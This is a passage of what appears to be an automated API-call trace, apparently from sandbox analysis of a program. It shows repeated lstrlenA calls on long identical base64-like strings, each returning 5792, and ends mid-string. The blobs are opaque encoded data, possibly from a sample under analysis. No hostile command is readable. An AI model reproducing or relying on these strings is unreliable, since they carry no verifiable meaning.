dhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.355] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw9wjxE5iUWrnV0b6hgMAfAoAo3A2VJpLca2Z6kJMRPF0NtRBDFVNcOH0CQ5LcoGCBpYenEIWS5oDfEzb1gcayD07ZZaySZBDNQMaM8X6REHUgnHBZn4Xm6jkrFwpKARvyjahsOsV+ZozgeCw2ju9OoquH8csJxdRucgPmB5dSHescgmSeeYcozxP3wIv6r9Hwg2i/KobEfbzf5opOyS9X/8G/vMfwczi+WaiNTK0M13uB805OlqfIzuxo0c9Xfra5VL5D9UnX8FEcr4z3aN66RMFwHgviNxAVLAlLqTvobs3THM4fqsjLRfjCbGONkMiREB7caOSlA2GVZQOAmraAsOSvPvjaFn5+KWCFnXftNibVsBd3GY3wgaQm9RQU4HFKq8XxWSgRMzdtK35dje7e+FJ5QEwCmrxzLbPuEbiwYJNzyp+Kub2Uemty4OC+9FR2yQOG1m646tcNMCZIPf2hP5dxIp2LpWqMAHGWXceedFvz7mQgkNMo3S/HhKz+/p6ldkwTs9CObAL3cI9rmPN9N6olBDi7Z1Z2XTObji6jlWrUM0dvQsEYXeUutMh3BVwXPmteiGBNUqg07OOra+bHETc2mHIiJCXRuK4ASsAPbBtSHKBLvOe/xQCeLspGViryIozpXOUeiKrwF81Yr5RyMQHKGriYOTB1rdJ/lO6b//EYq/plvQipuG2RXdy4OkXugvZ4m7YHTnAqWV3oSefx3BWalWGBNaz/yW1DstGgWamEcUpCUyMboBWdlSQdhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.355] lstrlenA (lpString="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") returned 5792 [0128.355] lstrlenA (lpString="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